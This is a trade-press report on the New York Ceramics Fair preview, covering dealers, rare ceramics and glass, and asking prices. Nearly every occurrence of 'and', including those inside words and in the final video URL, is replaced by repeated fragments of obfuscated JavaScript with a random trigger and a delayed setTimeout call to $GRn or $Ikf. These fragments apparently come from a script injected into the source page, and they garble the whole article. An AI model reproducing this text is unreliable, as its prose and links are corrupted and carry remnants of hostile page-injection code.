By: David S. Smith
NEW YORK CITY — “The fair is a celebration of all things fired,” proclaimed promoter Elizabeth Lees of the New York Ceramics Fair, the event that kicks off Americana week, with the show taking place January 22–25. “Glass, porcelains, pottery — anything fired… with items ranging from ancient to contemporary,” she said.
Despite a heavy snowfall that all but shut down the streets of Manhattan on Tuesday afternoon, the gala preview party was attended by a large crowd of shoppers. Buying was brisk at the preview, with red dots appearing on a wide variety of wares as soon as the doors to the show opened at 5 Tuesday evening.
Conducted at the Bohemian National Hall, the show, now in its 15th year, features lavish displays throughout the fourth floor ballroom andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the overlooking balcony on the upper floor. The atmosphere is magical as scholars, museum curators andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and upper-end collectors seek out treasures that are publicly offered. A nice mix of exhibitors included ten British dealers, 18 American dealers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and one European dealer.
A Casky-Lees event, Meg Wendy joined the management team for this year’s event, with Lees explaining that she wanted to bring someone on board that had a lot of experience managing events in Manhattan. “Meg certainly has that experience andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and she has been a huge asset to the fair,” she said.
Patrons brushed the fluffy snow from their overcoats andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and caps as they entered the building andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a large line began forming at the elevators as the opening hour neared. Elevator carload after carload of patrons appeared as the show opened, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the atmosphere around the show floor became electrified as the early shoppers rushed from booth to booth, taking full advantage of those still waiting downstairs for the slow-moving elevators.
A wonderful selection of Martin Brothers pottery was featured at Kinghams Art Pottery, Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, including a grotesque bird humidor that was marked $32,000. Several Marin Brothers face jugs were also offered, ranging in price from $6,000 to $8,500. A selection of Wedgwood Fairylandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and lusterware was also on view, with a large vase in the Pillars design marked $23,000.
Just down the aisle was the standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and of Sylvia Powell Decorative Arts, where a wide variety of eye-catching wares were offered, ranging from a William De Morgan charger by Charles Passenger, circa 1890, with Owl andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Griffins decoration, $28,000, to a selection of Salvador Dali designs executed by Daum.
“Montre molle au cintre” by Dali was from a second edition in blue executed by Daum during Dali’s lifetime. The original commission was done in white glass andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and draped over a wooden coat hanger andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was from a series of 150. “A lot of the coat hangers broke andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the pieces would smash to the floor,” stated the dealer. “It became so popular, Daum did this series in blue to distinguish it from the originals andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it was done in a series of 850. This time a bronze coat hanger was formed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and this series was executed during Dali’s lifetime,” stated Sylvia Powell of the series executed in 1980.
Another showstopper at Powell’s standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was a “Tete de lion” plaque by Pablo Picasso from 1968 that was stickered at $45,000. A large selection of plates, pots andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and vases by Jean Cocteau was also on view.
Highlighting the standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and of London dealer Santos were two extremely rare Chinese Export porcelain ewers modeled as deer. The pair, one in green, the other in brown, were decorated on the bisque in translucent enamels from the famille vert palette in bold reversed colors. Dating circa 1700, the rare andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and delicate pieces were made in the Kangxi reign, Qing dynasty.
“The first time this type of ewers were recorded in the UK was at the Burghley house inventory of 1690, included in the Last Will andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Testament of Elizabeth Dowager, Countess of Devonshire, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and cataloged as ‘two browne painted stags,’” related the dealer. Also on offer was a pair of Chinese Export porcelain candom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andlesticks of European silver form, with the stem rising from a tray supported by two hunting dogs. The candom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andlesticks were cataloged as circa 1770, Qianlong region, Qing dynasty.
A large selection of mocha was available at Martyn Edgell Antiques, Ltd, Cambridgeshire, Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, with a host of bandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anded mugs with cat’s-eye, earthworm andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and seaweed decoration. Pepper pots, salts, mustard pots, bowls andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and pitchers were among the offering.
Ancient art included an Achaemenid bull’s-head rhyton, Sixth Century BC, that was a highlight at Anavian Gallery, New York City. The rare horned vessel featured a small hole serving as a pouring spout under the bull’s chin. A Fifth Century figure of a ram was made in the Persian Empire, “the first empire of the world,” remarked the dealer. A large bulbous horse pottery pitcher was among the earliest pieces exhibited, dating back to 1,000 BC.
A late Seventeenth Century delft charger with angel decoration was displayed alongside an English delft charger with depiction of General Monk on horseback at Mark andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Marjorie Allen, Gilford, N.H. The pieces were priced at $19,500 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $25,000, respectively. Displayed in front of the chargers was a London Sack bottle from 1649 that was marked $14,000.
Ceramic figures andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sculpture, including a monumental building-form work, by Dominican-born, New York City artist Jose Arias were offered at Martin Cohen, New York City. Arias’s colorful the “I’s Have It” series consisted of vibrant plates, bowls andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and mugs each decorated with an “eye.” With a current exhibit at the Met featuring Carlo Scarpa drawing huge attention, it was with little wonder that the Scarpa glass offered by Cohen was popular. Among the assortment was a stringed vase, plate andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a small covered jar.
“This is one of the best groupings of American glass you will ever see in one place,” commented dealer Diana Stradling. Displaying as The Stradlings, New York City, they shared the standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and with Ian Simmonds, Carlisle, Penn. The grouping consisted of a small half-pint citron-colored Pitkin-style flask with 30 ribs, two Zanesville ten-diamond flasks with very strong impression, an Ohio jug with strap handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andle andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and folded lip, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a rare half-pint Pitkin-style flask with 20 ribs thought to have been made in New Geneva. Two Redford lily pad bowls were also displayed in the grouping along with a rare Ritchie lantern with four glass panels marked “Ritchie” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorated with a steamboat. “Until this example was discovered, these panes were only thought to exist,” stated Stradling of the rare object.
A rare grouping of Webb cameo glass was featured at Leo Kaplan Ltd, New York City. Highlighting the group was a large, three-color, white-cut-back-to-a-black-to-ruby vase by Joshua Hodgetts with a boldly decorated chiseled bird amid flora. Also offered was a rare floral silver-overlay Webb vase andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a rock crystal vase by Webb with applied decoration. Attracting a great deal of attention from the grouping was an Italian cameo glass ewer in white-cut-back-to-Wedgwood blue that depicted classical Romanesque battle scenes. The rare piece was signed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dated by A. Spaccarelli.
A stately set of four contemporary porcelain “Prickly Yellow Mellon” pots were at Cliff Lee, Stevens, Penn. The maker explained that it took “17 years for me to rediscover the imperial yellow glaze used in the Ming Court in the 1650s. It is a very difficult glaze to work with; too little andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it becomes transparent, too much andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it gets blotchy, it must be perfectly applied. And all of the prickly thorns on the stems, they are surgically applied,” stated Lee of the unusual works. “The Metropolitan Museum of Art has a pair of the vases on long-term display in the Asian department. They purchased them from me at last year’s Ceramics Fair,” he stated with pride.
“The form of this rare London tulip vase was inspired by Seventeenth Century Dutch Delft andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the decoration by Ming dynasty porcelains. The vase belongs to a small cohesive group of London tin-glaze wares by the same handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, circa 1685–1695,” stated London dealer Garry Atkins. The dealer posted numerous sales as the show opened from preview.
While Connecticut dealer Peter Warren refrained from traveling to the fair’s preview in the heavy snow, His capable daughter AJ Warren was there to meet old customers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and greet new clients. A nice set of Whieldon Pottery plates were among the offering, along with a grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and assortment of early salt-glazed teapots with applied vine andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and floral decoration with cobalt highlights.
For further information, contact Liz Lees at liz@caskeylees.com or 310-455-2886, or Meg Wendy at meg@mcgeventsllc.com or 914-316-4700.
For a video look at opening day of the ceramics fair:
Video Interview with Paul Anavian of Anavian Galleries:
http://antiquesandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andthearts.smugmug.com/Video/New-York-Ceramics-Fair/i-8SNB4Tw/A
